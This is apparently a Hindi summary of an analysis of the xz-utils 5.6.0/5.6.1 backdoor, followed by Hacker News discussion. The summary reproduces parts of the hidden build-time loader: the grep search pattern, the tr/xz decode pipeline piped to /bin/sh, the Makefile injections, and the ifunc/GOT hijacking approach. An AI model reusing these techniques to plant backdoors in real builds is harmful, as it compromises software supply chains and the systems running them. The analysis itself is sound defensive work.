- xz अटैक configure चरण में shell code injection और make चरण में object file injection में बंटा है, और यह विश्लेषण xz 5.6.0·5.6.1 distribution tarball की scripts द्वारा backdoor object file को build में घुसाने की प्रक्रिया को trace करता है
- दुर्भावनापूर्ण code और object file को
tests/files की binary test input file की तरह compress और encrypt करके छिपाया गया था, और “हाथ से बनाई गई test file” वाली मौजूदा README व्याख्या ने इस disguise को आसान बना दिया
m4/build-to-host.m4 में जोड़े गए code ने bad-3-corrupt_lzma2.xz को खोजकर tr और xz -d से restore किया और फिर /bin/sh से execute किया; 5.6.1 में नई test file से अतिरिक्त script खोजने वाला extension mechanism भी शामिल था
- configure script
src/liblzma/Makefile और libtool को बदलकर make के दौरान भी छिपी हुई script को फिर से execute कराती है, और -z,now व PIC से जुड़े flags को adjust करके ifunc resolver को initial dynamic linking के समय execute होने देती है
- make चरण में
good-large_compressed.lzma से malicious object को extract और decrypt करने के बाद crc64_fast.c और crc32_fast.c के build outputs को बदल दिया जाता है, ताकि _get_cpuid के जरिए RSA_public_decrypt calls को intercept किया जा सके
अटैक की पूरी संरचना
- Andres Freund ने 2024-03-29 को public
oss-security@openwall mailing list पर xz अटैक के अस्तित्व की जानकारी दी
- एक दिन पहले Debian security और private
distros@openwall list को भी बताया था
- इसकी वजह Debian sid installation में
liblzma से जुड़े अजीब लक्षण थे, यानी SSH login के दौरान high CPU usage और Valgrind errors देखना
- अटैक मोटे तौर पर दो चरणों से बना है
configure के दौरान shell code inject होता है
- यह shell code
make में फिर से shell code inject करता है, और make के दौरान malicious object file को build में जोड़ता है
- अगर malicious object file को
evil.o की तरह सीधे repository में डाल दिया जाता, तो शक होना आसान था; इसलिए attacker ने shell code और object file को binary test input file के अंदर compress और encrypt करके छिपाया
tests/files directory Jia Tan के आने से पहले से मौजूद थी, और README बताता है कि ये .xz, .lzma, .lz decoder implementations को test करने के लिए files हैं, जिनमें से कुछ hex editor से हाथ से बनाई गई हैं, इसलिए “file खुद से बेहतर source code नहीं है”
- attacker ने इसी संदर्भ का फायदा उठाकर ऐसा दिखाया जैसे कुछ नई test files जोड़ी जा रही हों
Backdoor ने जिस execution point को निशाना बनाया
- script का अंतिम असर यह है कि malicious object file का
_get_cpuid function GNU indirect function(ifunc) resolver के हिस्से के रूप में call हो
- ifunc resolver आम तौर पर program execution के दौरान lazy call हो सकता है, लेकिन security के लिए dynamic linking की शुरुआत में ही सभी को call करके GOT·PLT को read-only map करने का तरीका व्यापक रूप से इस्तेमाल होता है
- malicious ifunc resolver उस शुरुआती समय पर execute हो सकता है जब GOT·PLT अभी writable होता है
- backdoor table में
RSA_public_decrypt को खोजकर attacker version से replace करता है
- बदला हुआ function सही SSH certificate पेश किए जाने पर attacker code execute करता है
configure चरण: build-to-host.m4 का disguise
- xz-utils GNU autoconf का इस्तेमाल करता है, और आम तौर पर
configure व supporting m4 files source repository में नहीं बल्कि tarball distribution में शामिल होती हैं
- अटैक xz 5.6.0 और xz 5.6.1 tarball में अप्रत्याशित support library
m4/build-to-host.m4 जोड़ने से शुरू हुआ
- malicious
build-to-host.m4 में standard file की तुलना में दिखने में plausible बदलाव शामिल हैं
- serial को
3 से 30 किया गया
- copyright year को
2023 से 2023-2024 किया गया
- समझने में कठिन shell·m4 बदलाव कुछ जोड़े गए
- असली core
grep -aErls "#{4}[[:alnum:]]{5}#{4}$" $srcdir/ से distribution के अंदर एक खास pattern खोजने वाला code है
- इस pattern से match होने वाली file
./tests/files/bad-3-corrupt_lzma2.xz है
- नतीजतन
gl_am_configmake इस test file की ओर इशारा करता है
gl_path_map को tr "\t \-_" " \t_\-" पर set किया जाता है, जो tabs·spaces और underscores·dashes को आपस में बदलता है
छिपी हुई पहली script को restore करना
gl_[$1]_prefix filename में आखिरी dot के बाद वाला हिस्सा extract करके xz बन जाता है
- नाम prefix जैसा दिखता है, लेकिन असल में यह file extension है
- यह compression command का नाम बन जाता है, जिसके build machine पर पहले से installed होने की संभावना ज्यादा होती है
- इसके बाद बनने वाली command string ऊपर से
sed "r\n" इस्तेमाल करती दिखती है, लेकिन वास्तव में यह obfuscated cat के करीब है
sed का r\n command मौजूद न होने वाली file \n को पढ़ने की कोशिश करता है, इसलिए कुछ नहीं होता
-n नहीं है, इसलिए input जस का तस output होता है
- वास्तव में execute होने वाली command इस तरह की है
cat ./tests/files/bad-3-corrupt_lzma2.xz | tr "\t \-_" " \t_\-" | xz -d
- यह command
AC_CONFIG_COMMANDS के जरिए config.status execution process के दौरान evaluate होती है
- restored output में
####Hello#### और ####World#### दिखते हैं, और README के अनुसार bad-3-corrupt_lzma2.xz की पहली और तीसरी streams valid xz streams हैं, जबकि बीच वाली stream में ही LZMA2 data corrupted है
5.6.0 और 5.6.1 का अंतर
- xz 5.6.0 में restored पहली script
good-large_compressed.lzma से एक खास byte range काटकर और transform करके raw LZMA stream के रूप में decompress करती है और /bin/sh को pass करती है
- xz 5.6.1 की पहली script में Linux न होने पर exit करने वाली line पांच बार शामिल है
[ ! $(uname) = "Linux" ] && exit 0
- बाद में analysis target बनने वाली लंबी script के अंदर भी 5.6.1-only Linux check line है
- उस line में
= के आसपास spaces न होने से यह काम न करने वाला bug है
- 5.6.1 में
head के last byte count, tail offset, और tr arguments 5.6.0 से अलग हैं
- example में 5.6.1
16×2048+939 = 33,707 bytes extract करता है
- इसके बाद
tail -c +31233 से last 31,233 bytes इस्तेमाल करता है
- extraction pipeline इन steps से बनी है
xz -dc से good-large_compressed.lzma को decompress करना
head pipeline से specific byte range extract करना
tail से बाद वाला हिस्सा चुनना
tr से simple substitution cipher लगाना
xz -F raw --lzma1 -dc से raw LZMA stream decompress करना
- result को
/bin/sh से execute करना
5.6.1 का extension mechanism
- लंबी script में unset variables को
eval करने वाली कई जगहें हैं
- उदाहरण:
eval $zrKcVq, eval $zrKcSS
- ये debug output के लिए हो सकती हैं, या भविष्य में किसी और mechanism से values set करने वाले extension points हो सकते हैं
- अगर
config.status है, तो script LD, CC, GCC, srcdir, build, enable_shared, enable_static, gl_path_map आदि पढ़ती है
- 5.6.1 में नया आया extension code
tests/files में दो magic strings खोजता है
- start string:
~!:_ W
- end string:
|_!{ -
- अगर दोनों strings एक ही file में हों, तो उनके बीच के bytes extract किए जाते हैं,
tr और raw LZMA2 decompression के बाद output को eval किया जाता है
- यह mechanism ऐसा लगता है कि बाद में मौजूदा binary test file को फिर से generate करने का कारण बनाए बिना किसी दूसरी test file में नई script डालने की structure है
configure चरण की execution conditions
- अगर backdoor के लिए जरूरी conditions पूरी नहीं होतीं, तो script चुपचाप exit कर जाती है
- GNU ifunc support enabled होना चाहिए
config.status में ["HAVE_FUNC_ATTRIBUTE_IFUNC"]=" 1" होना चाहिए
config.h में define HAVE_FUNC_ATTRIBUTE_IFUNC 1 होना चाहिए
- shared library build on होना चाहिए
enable_shared yes होना चाहिए
- build target x86-64 Linux होना चाहिए
build को ^x86_64 और linux-gnu$ conditions satisfy करनी चाहिए
- CRC ifunc से जुड़े sources जस के तस होने चाहिए
crc64_fast.c
crc32_fast.c
crc_x86_clmul.h
- compiler और linker conditions भी check होती हैं
GCC=yes
CC=gcc
LD -v output में GNU ld शामिल हो
- backdoor वाली test files
good-large_compressed.lzma और bad-3-corrupt_lzma2.xz मौजूद होनी चाहिए
Makefile और libtool में बदलाव
- अगर
debian/rules है या RPM_ARCH=x86_64 है, तो configure चरण में src/liblzma/Makefile को modify करने वाला code execute होता है
- पहले यह check करता है कि Makefile में बाद में insertion points के रूप में इस्तेमाल होने वाली कई lines मौजूद हैं या नहीं
ACLOCAL_M4 = $(top_srcdir)/aclocal.m4
am__uninstall_files_from_dir = {
am__install_max =
am__vpath_adj_setup =
am__include = include
all: all-recursive
LTLIBRARIES = $(lib_LTLIBRARIES)
AM_V_CCLD = $(am__v_CCLD_$(V))
libtool में pic_flag=" -fPIC -DPIC" है या नहीं, यह check किया जाता है
- इसके बाद
sed -i से Makefile में जगह-जगह इस तरह की lines बिखेर दी जाती हैं
am__test = bad-3-corrupt_lzma2.xz
am__strip_prefix = tr ...
am__dist_setup = ... | xz -d ... | $(SHELL)
am__test_dir = $(top_srcdir)/tests/files/$(am__test)
am__test_dir नाम से directory जैसा दिखता है, लेकिन वास्तव में file की ओर इशारा करता है
- जोड़ी गई lines एक जगह इकट्ठी नहीं हैं, बल्कि Makefile में जगह-जगह insert की गई हैं, ताकि generated Makefile देखने में plausible रूप से complex लगे
Linker flags और recursive execution
- configure चरण की script
liblzma_la_LDFLAGS में -Wl,--sort-section=name,-X जोड़ती है
- अगर मौजूदा
LDFLAGS में -z,now या -z -Wl,now नहीं है, तो -z,now भी जोड़ती है
-Wl,now dynamic loader को program startup पर सभी symbols resolve करने को मजबूर करता है, जिससे LD_BIND_NOW behavior enforce होता है
- इस process में ifunc resolver startup पर execute होता है
- backdoor उस समय execute हो सकता है जब GOT·PLT अभी writable होता है
libtool के PIC flags इस तरह बदलते हैं
- पहले:
-fPIC -DPIC
- बदला हुआ:
-fPIC -DPIC -fno-lto -ffunction-sections -fdata-sections
- script
AM_V_CCLD और एक लंबा shell fragment भी Makefile में जोड़ती है
- अंत में
sed rpath $(am__test_dir) | $(am__dist_setup) execute होता है
sed rpath भी obfuscated cat की भूमिका निभाता है
- नतीजतन make के दौरान इस तरह की pipeline फिर execute होती है
cat ./tests/files/bad-3-corrupt_lzma2.xz |
tr "\t \-_" " \t_\-" |
xz -d |
/bin/sh
make चरण: object file extraction
- make चरण में script
src/liblzma directory से फिर execute होती है
- current directory में
config.status नहीं होता, इसलिए configure चरण वाला Makefile editing part skip हो जाता है
- इसके बजाय अगर
.libs/liblzma_la-crc64_fast.o और .libs/liblzma_la-crc32_fast.o हैं, तो यह मानकर कि make चल रहा है, आगे का code execute होता है
- 5.6.1 में make चरण के लिए extension hook भी नया जोड़ा गया है
- start string:
jV!.^%
- end string:
%.R.1Z
- इन strings वाली कोई test file नहीं है, और यह future extension के लिए structure लगता है
- CRC ifunc से जुड़े sources expected रूप में हैं या नहीं, यह फिर check होता है
- configure चरण में जोड़े गए compile·linker flags लागू हुए हैं या नहीं, यह भी check होता है
../../libtool में additional PIC flags होने चाहिए
liblzma_la_LINK में -z,now या -z -Wl,now होना चाहिए
- अगर
lazy मौजूद है, तो exit करता है
Malicious object का decryption और selection
- script
gettext.m4 content के अनुसार दो offset values में से एक चुनती है
- distributed xz tarball के
gettext.m4 में check string नहीं है, इसलिए example build में पूरा input लिया जाता है
good-large_compressed.lzma को फिर decompress करके पहले set की गई head pipeline i से 33,707 bytes extract किए जाते हैं
- उस output को byte-wise split करने के बाद
awk से RC4 जैसी decryption function execute की जाती है
- 5.6.1 version में दूसरा loop 8192 तक repeat होता है
- 5.6.0 version में उसी जगह वाला loop 4096 तक repeat होता है
- decrypted output को
xz -dc --single-stream से फिर decompress किया जाता है
--single-stream पहले xz EOF marker पर रोक देता है, ताकि पहले tail से निकाले गए हिस्से को न पढ़ा जाए
- final result
liblzma_la-crc64-fast.o में लिखा जाता है
CRC object replacement
- script वास्तविक build output
.libs/liblzma_la-crc64_fast.o को मिलते-जुलते नाम .libs/liblzma_la-crc64-fast.o में backup करती है
- underscore (
crc64_fast) और hyphen (crc64-fast) के अंतर का इस्तेमाल होता है
- फिर
crc64_fast.c को sed से modify किए गए content को compile किया जाता है, और extracted malicious object liblzma_la-crc64-fast.o को साथ input में देकर .libs/liblzma_la-crc64_fast.o को overwrite किया जाता है
- inserted C code
_is_arch_extension_supported को नया बनाता है, और अंदर _get_cpuid call करता है
- मौजूदा
crc64_resolve को is_arch_extension_supported() की जगह _is_arch_extension_supported() call करने के लिए बदल दिया जाता है
_get_cpuid backdoor object file द्वारा provide किया गया function है, और cpuid info return करने से पहले extra behavior perform करता है
- खास तौर पर GOT·PLT को बदलकर
RSA_public_decrypt calls को intercept करता है
crc32 side की processing और cleanup
- crc64 modification सफल होने पर script
crc32_fast.c पर भी मिलती-जुलती modification apply करती है
- crc32 side में backdoor object file नहीं जोड़ी जाती
- ताकि backdoor object को build में दो बार न डाला जाए
- यह साफ नहीं है कि crc32 और crc64 ifunc, दोनों को क्यों intercept किया गया
- analysis के अनुसार इनमें से एक ही काफी लगता है
- संभव है कि debugger में दोनों dispatch code समान दिखें, ऐसा करने की कोशिश की गई हो
- दोनों compilation सफल होने पर
liblzma_la_LINK से .la file को फिर link किया जाता है
- link सफल हो लेकिन
.libs/liblzma.so न हो, तो इसे failure माना जाता है और backup restore होता है
- सफलता या विफलता से अलग,
.libs/liblzma.a, .libs/liblzma.la, .libs/liblzma.lai, .libs/liblzma.so* delete किए जाते हैं
- यह मानकर कि बाद में Makefile का original link step इन्हें फिर generate करेगा
- failure path में backed-up crc32·crc64 objects को उनके original names में वापस कर दिया जाता है
- अंत में temporary·backup files delete की जाती हैं, ताकि make outputs में malicious object inject हो जाए और traces न बचें
1 टिप्पणियां
Hacker News की राय
लंबे समय से autotools को नापसंद करने वाले के तौर पर मैं कहना चाहूंगा कि यह घटना मेरे रुख को सही ठहराती है, लेकिन जो भी build system कई platforms को support करने जितना जटिल हो, वह इतना अबूझ हो ही सकता है कि कोई उसमें ऐसी चीज़ घुसा दे
फिर भी यह सचमुच समस्या है कि बहुत-सा software असल में विशाल cargo-cult style shell scripts से build होता है, जिन्हें पूरा-पूरा लगभग कोई नहीं समझता
अगर build scripts Python में लिखी गई होतीं, तो backdoor को obfuscate करना कहीं ज़्यादा मुश्किल होता। क्योंकि अजीब code सबको दिख जाता। bash code पढ़ा न जा सके, तब भी उसे सामान्य मान लेने की प्रवृत्ति होती है
./configure && make && make installसे खत्म हो जाता थाउस flow के लिए best practices की पूरी कमी ही complexity की जड़ है, इसलिए ऐसी परिस्थितियों में
mybuild.tomlजैसी एक build setting से समाधान नहीं हो सकताऔर यह भी सवाल है कि compression library जैसी चीज़ को build करने के लिए, जिसे मूल रूप से बस गणित और memory allocation जैसा काम करना होता है, complex system की जरूरत क्यों पड़ती है
एक developer के तौर पर यह चौंकाने वाला है, और मेरी नजर में जो top-tier attack method जैसा दिखता है, वह भी इस स्तर पर काम करने वालों के लिए शायद शुरुआती-मध्यम स्तर की कठिनाई हो सकती है
HN पर आने वाली चीज़ों में इससे कहीं अधिक advanced चीज़ें भी होती हैं, इसलिए पर्याप्त पैसा या कोई और incentive हो तो क्या संभव है, यह बस शुरुआत है। GitHub के अनगिनत packages और लाखों libraries को देखते हुए यह vector इतना प्रभावी है कि मुझे यकीन है आने वाले कुछ महीनों में ऐसे सैकड़ों मामले सामने आएंगे
Philips Hue से लेकर Alexa, SumUp, camera manufacturers, Netgear, TP-Link तक consumer/prosumer hardware कंपनियों को लेकर चिंता है। Products के अंदर open-source libraries भरी होती हैं, और मुझे 100% यकीन है कि अधिकांश dev teams ऐसे गुप्त injection vectors खोजने में समय नहीं लगातीं
अगर कोई commercial organization reliability का दावा करती है, तो dependency अपनाने से पहले supply chain analysis करती है। इसलिए आम तौर पर stable Linux distribution maintain रखने के लिए Red Hat को पैसे दिए जाते हैं, और FreeBSD जैसे projects base install में शामिल software को कड़ाई से सीमित रखते हैं
अगर इस घटना से आप प्रभावित हुए हैं तो अफसोस है, लेकिन वह आपकी जिम्मेदारी है। अगर आप इस बात से चिंतित हैं कि free-as-in-beer software developer अचानक बदल सकता है, तो उसे ऐसा न करने का incentive दें, यानी पैसा दें, या project को fork करके अपनी security measures जोड़ें
अगर commercial software की dependencies में supply chain attack होने की चिंता है, तो ऐसे नुकसान की भरपाई शामिल करने वाला contract negotiate करना चाहिए। अगर ऐसा करने की इच्छा नहीं है तो यह professional नहीं है
और जोड़ दूं, मैं गंभीरता से कह रहा हूं कि SSH जैसी सबसे बुनियादी dependency की भी supply chain जांचनी चाहिए
शुरुआती infosec लेख भी code के केवल कुछ हिस्से समझा पाए थे, attack की पूरी strategy तक नहीं पहुंचे थे। क्योंकि attack और code sophisticated थे। शुरुआती analyses ने attack को अलग-अलग तरीके से इसलिए समझाया क्योंकि इसे समझना सरल नहीं था, और बाद में जाकर “आखिरकार यह remote code execution attack लगता है” जैसी posts आईं
अब servers पर vulnerability detect करने वाले scanners भी आ गए हैं, इसलिए हर कोई कह सकता है, “अरे, वह तो बहुत simple और बेवकूफाना attack था, हम पहले क्यों नहीं पकड़ पाए?”
यह सभी devices पर समान रूप से लागू होता है। मुझे Android का पुराने kernel का इस्तेमाल करना भी पसंद नहीं, और macOS का पुराने Darwin/BSD family को चलाना भी अच्छा नहीं लगता था। backporting में लगने वाली मेहनत की चिंता होती है
बेशक इसका मतलब यह नहीं कि open source में vulnerabilities नहीं होतीं
उलटे हमें शायद proprietary software के अंदर के अदृश्य backdoors से ज़्यादा डरना चाहिए, जिन्हें शायद ही कभी खोजा जा सके
लगता है Thomas Roccia का infographic अभी यहां mention नहीं हुआ है: https://twitter.com/fr0gger_/status/1774342248437813525
उदाहरण के लिए oss-fuzz GitHub repository को सीधे clone करके xz build कर रहा था। backdoor repository में नहीं, सिर्फ tarball में था, इसलिए oss-fuzz के backdoor खोजने की संभावना नहीं थी। इसलिए वह oss-fuzz PR backdoor से असंबंधित वास्तविक change भी हो सकता है
Andreas Freund के आसपास कोई और account या व्यक्ति, जिसे backdoor public होने की बात पहले पता चल गई हो, इसकी कितनी संभावना है? अभी भी आसपास कोई दूसरा insider होने की संभावना के बारे में सोचने पर मजबूर करता है
.gitignorefile में ignored items जोड़ने से शुरू होता है। आजकल ऐसी चीज़ detect करना मुश्किल हैएक भोले-भाले दर्शक के नज़रिए से जो हिस्सा सबसे ज़्यादा ध्यान खींचता है, वह यह है
“कई फाइलें hex editor से हाथ से बनाई गई थीं, इसलिए उन फाइलों से बेहतर कोई ‘source code’ नहीं है।” liblzma जैसी parsing library में ऐसा हो सकता है, यह बात समझ आती है। हमलावर शायद बस कुछ नए test files जोड़ता हुआ दिखा होगा
फाइल खुद डरावनी जरूर है, लेकिन वजह समझ आती है। फिर भी कम-से-कम build से इसे अलग नहीं रखा जा सकता था क्या
“आम तौर पर configure scripts और support libraries source repository में नहीं, बल्कि सिर्फ tarball distribution में जोड़ी जाती हैं। xz का distribution भी ऐसा ही है।”
autotools पर होने वाले रस्मी गुस्से को अलग रखें, तो समझ नहीं आता कि tarball में test files क्यों होनी चाहिए। malicious tests developer machine को infect कर सकते हैं, लेकिन अगर tarball final artifact build करने के लिए है, तो policy यही होनी चाहिए कि उसमें सिर्फ जरूरी चीजें शामिल हों। खासकर तब, जब test file audit न की जा सकने वाली binary blob हो
हालांकि जब हमने आखिरी बार ऐसा किया था, तो हमने upstream Git को प्राथमिकता दी थी और जरूरी autoconf artifacts खुद generate किए थे। Git में मौजूद न होने वाली सामग्री वाले release tarball का concept मुझे हमेशा पसंद नहीं आया
target machine पर code compile करने के बाद tests run कर पाना चाहिए
“पहला अंतर यह है कि script यह सुनिश्चित करती है कि अगर वह Linux पर नहीं चल रही है, तो वह जरूर, पूरी निश्चितता के साथ exit हो जाए।”
बार-बार की checks सचमुच एक mystery हैं। मेरा अनुमान है कि हमलावर ने repetition इसलिए डाला होगा ताकि यह compression library के test input जैसा plausible लगे
या फिर यह सिर्फ आलस भी हो सकता है
यह intentional लगता है, लेकिन क्यों है यह नहीं पता। मैंने सोचा था कि शायद xz input बहुत छोटा या complex न होने पर compression skip करता होगा, इसलिए size भरने के लिए जोड़ा गया होगा; लेकिन हटाने के बाद xz से फिर compress करने पर भी सही से compress हुआ और original plaintext compressed archive bytes में नहीं बचा
Git में commit की गई
.xzfile के exact bytes reproduce करने की कोशिश करते हुए जो बात पता चली, वह यह थी कि उस script का xz stream default xz preset से compressed नहीं लगता।xz --lzma2=dict=65536 -c stream_2इस्तेमाल करने पर ही reproduce कर सका, और default numbered presets सभी ने अलग dictionary size चुना। यह भी intentional लगता है, लेकिन वजह समझ नहीं आईrepetition न होता तो compressed file के अंदर कोई अजीब binary बन गई होती, जो security tools या antivirus को trigger कर देती
यह tragically funny है कि modern technology बेहद complex और बेवजह inscrutable हो गई है, और यह लगातार बदतर हो रहा है। लगता है developers इसे sadistically enjoy करते हैं
हम जो products बनाते हैं उनकी complexity बढ़ने के साथ tools का साथ निभाना काफी amazing है। ईमानदारी से कहूं तो ज्यादातर मामलों में चीजें बस ज्यादा simple हो रही हैं, और बात इसके ज्यादा करीब है कि लोग नई चीजें सीखना नहीं चाहते
इस प्रोजेक्ट में घुसपैठ कराने के लिए इन लोगों को रखने वाले किसी व्यक्ति ने शायद बहुत लंबा समय लगाया होगा ताकि यह लंबे समय तक detection से बचा रहे। अच्छी बात यह रही कि यह इतना जटिल था कि वे सभी पहलुओं को ध्यान में नहीं रख पाए
इसलिए सुरक्षा के लिहाज़ से मुझे लगता है कि open source हमेशा closed source से बेहतर रहेगा। बेशक इस घटना ने supply chain की एक बड़ी खामी उजागर की, और यह भी दिखाया कि FOSS के बुनियादी घटकों को कितना कम आंका जाता है, जिससे maintainers manipulation के प्रति vulnerable हो जाते हैं
लेकिन अगर वही हमला किसी private company के अंदर हुआ होता तो? शायद advanced obfuscation तक की ज़रूरत नहीं पड़ती। पर्याप्त बड़ा PR और नज़दीक आती deadline हो तो न्यूनतम मेहनत से production systems में ऐसी चीज़ चुपके से डाली जा सकती है। कंपनी को समझ आते-आते कि क्या हुआ है, तब तक आप ऐसे देश उड़ चुके होंगे जहाँ extradition treaty नहीं है, और Tor या dark web पर leaked data बेच रहे होंगे
अगर आप किसी private company में hire होते हैं, तो कंपनी जानती है कि आप कौन हैं। यह अपने-आप में संदिग्ध हरकतों को रोकने वाला तुरंत deterrent है। GitHub पर किसी को नहीं पता कि आप कौन हैं। बिना पकड़े किसी project में backdoor डालना शायद ज्यादा कठिन हो, लेकिन पकड़े जाने पर भी कोई जोखिम नहीं उठाना पड़ता। आप जितनी बार चाहें कोशिश करते रह सकते हैं। Jia Tan अभी भी पकड़ा नहीं गया है, और उसे अपनी पूरी ज़िंदगी ऐसे देश में रहने के हिसाब से design करने की ज़रूरत भी नहीं पड़ी जहाँ extradition treaty न हो। जब तक कि वह पहले से ही ऐसी जगह पर न हो
और अंदर आ जाने के बाद भी आप target project में मनमर्जी से commit नहीं कर सकते। manager और उनके ऊपर के manager की दूसरी priorities होती हैं। for-profit companies का अक्सर dysfunctional management यहाँ उल्टा deterrent की तरह काम करता है। आपको सिर्फ code को justify नहीं करना होता, बल्कि यह भी समझाना होता है कि आप शुरू में वह काम कर ही क्यों रहे थे
जिन देशों से रिश्ते खराब हैं, वे भी अगर politically convenient हो तो किसी negotiation के हिस्से के रूप में extradite कर सकते हैं। रूस ने भी शायद Snowden को रोके नहीं रखा होता अगर उसने national secrets expose न किए होते। अगर वह सिर्फ सामान्य data leak होता, तो शायद किसी और जगह money laundering में पकड़े गए oligarch के साथ prisoner exchange कर दिया जाता
सिर्फ ऐसी सूची बनाना भी उपयोगी होगा
इस घटना से मिला सबक यह है कि शायद महत्वपूर्ण open source projects के core contributors को anonymity की अनुमति नहीं दी जानी चाहिए। यह हमला सफल रहा और attacker शायद बिना किसी कीमत के निकल जाएगा, क्योंकि वह anonymous था
ऐसा कदम मददगार नहीं होगा, और state actors या वैसी ही advanced persistent threats के लिए attack chain में identity theft का एक और step जोड़ना, या ऐसा operative इस्तेमाल करना जिसे backdoor पकड़े जाने पर भी बचाया जा सके, आसान workaround होगा
दूसरी ओर, ऐसी प्रक्रिया के लिए जरूरी technical barriers पूरी open source community को बहुत नुकसान पहुंचा सकते हैं
यहाँ समाधान यह है कि इस हमले से सीखकर practices बदलें ताकि ऐसे हमले कठिन हो जाएं। repository में न मौजूद files को release tarball में कभी नहीं डालना चाहिए। उससे generate हुआ सारा code check in होना चाहिए, और build scripts को derived code फिर से generate करके अगर वह checked-in code से अलग हो तो fail होना चाहिए। समझने में मुश्किल data को release build process में access नहीं मिलना चाहिए, और binary data पर निर्भर tests को release binaries से पूरी तरह अलग build करना चाहिए
पहली, खासकर security क्षेत्र में कई महत्वपूर्ण contributors जायज़ वजहों से pseudonymous काम करना पसंद करते हैं। identity disclose करने को मजबूर करेंगे तो आप उन्हें दूर कर देंगे
दूसरी, जैसा कई लोग अनुमान लगा रहे हैं, अगर इसके पीछे intelligence agency है, तो ऐसी agency वैसे भी “real” identity बना सकती है। नतीजा यह होगा कि मददगार लोगों को बाहर कर देंगे, लेकिन attackers को नहीं रोक पाएंगे
अगर government involved है तो कोई सीमा नहीं है। एकमात्र तरीका है किसी trusted place पर physical presence मांगना, और फिर बस उम्मीद करना कि वह जगह attacker के jurisdiction में न हो
अगर कोई library बनाता है और दूसरे लोग उसका इस्तेमाल शुरू कर देते हैं, तो क्या उसे अपनी identity disclose करने के लिए मजबूर किया जाएगा? maintainer को पैसे मिलेंगे?
अगर आपने closed या open, किसी भी तरह का development काम किया है, तो आपको पता होगा कि developers आधे-अधूरे आलस में PR को बस approve कर देते हैं। Linus Torvalds एक rare exception जैसा है, जो पूरा दिन issues point out करता रहता है
अगर कोई सच में इतनी सावधानी से ध्यान देने जितना कठोर हो, तो उसे अक्सर development रोकने वाली परेशानी माना जाता है। nitpicking करने के कारण team के साथ tension बनती है
खुलकर कहूँ तो अभी मेरे साथ भी ऐसी ही स्थिति है। कठोर वाला मैं नहीं हूँ, बल्कि मैंने जिन developers को hire किया है उनमें से एक है। दुर्भाग्य से उसके meticulous व्यवहार को अच्छा response नहीं मिला, इसलिए उसे team से हटाना पड़ा। यह भी मददगार नहीं रहा कि वह Eastern Europe से है और feedback बहुत direct तरीके से देता है
Unix utilities लंबे समय से परखी जाती रही हैं। kernel और core utilities को freeze करके न बदलना बेहतर होगा, जब तक सचमुच ज़रूरत न हो
अगर चीज़ टूटी नहीं है तो उसे ठीक मत करो। software empire नियंत्रण से बाहर दिखता है
कभी-कभी सही तरीके से बनी चमकदार मिसालें भी मिलती हैं, लेकिन कुल मिलाकर कहना सही होगा कि ऐसी चीज़ें पूरी तरह हाशिये पर धकेल दी गई हैं